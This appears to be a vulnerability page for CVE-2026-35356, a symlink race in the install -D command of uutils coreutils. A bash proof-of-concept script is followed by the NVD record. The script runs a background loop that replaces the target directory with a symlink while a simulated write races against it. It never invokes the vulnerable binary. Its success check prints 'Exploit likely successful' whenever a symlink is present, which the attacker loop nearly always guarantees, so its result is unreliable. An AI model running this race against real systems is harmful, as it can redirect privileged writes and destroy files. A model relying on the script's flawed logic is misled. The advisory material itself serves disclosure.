CVE-2026-35356

#!/bin/bash # PoC for CVE-2026-35356 # This script demonstrates the race condition. TARGET_DIR="/tmp/vuln_target" SYMLINK_TARGET="/tmp/evil_payload" mkdir -p "$TARGET_DIR" # Attacker process in background ( while true; do rm -rf "$TARGET_DIR" ln -s "$SYMLINK_TARGET" "$TARGET_DIR" done ) & ATTACKER_PID=$! # Victim process (simulating install -D) for i in {1..100}; do # Simulating: install -D source /tmp/vuln_target/file.txt # In a real scenario, this triggers the vulnerable binary touch "$TARGET_DIR/file.txt" 2>/dev/null && echo "Success" && break sleep 0.01 done kill $ATTACKER_PID if [ -L "$TARGET_DIR" ]; then echo "[+] Exploit likely successful: Symlink replaced directory" else echo "[-] Exploit failed" fi

{"cve": {"id": "CVE-2026-35356", "sourceIdentifier": "[email protected]", "published": "2026-04-22T17:16:38.130", "lastModified": "2026-04-27T12:27:28.787", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A Time-of-Check to Time-of-Use (TOCTOU) vulnerability exists in the install utility of uutils coreutils when using the -D flag. The command creates parent directories and subsequently performs a second path resolution to create the target file, neither of which is anchored to a directory file descriptor. An attacker with concurrent write access can replace a path component with a symbolic link between these operations, redirecting the privileged write to an arbitrary file system location."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.0, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:uutils:coreutils:*:*:*:*:*:rust:*:*", "versionEndExcluding": "0.7.0", "matchCriteriaId": "7F64F6A4-00A5-4FB8-BB51-21F475C11FF2"}]}]}], "references": [{"url": "https://github.com/uutils/coreutils/pull/10140", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/uutils/coreutils/releases/tag/0.7.0", "source": "[email protected]", "tags": ["Release Notes"]}]}}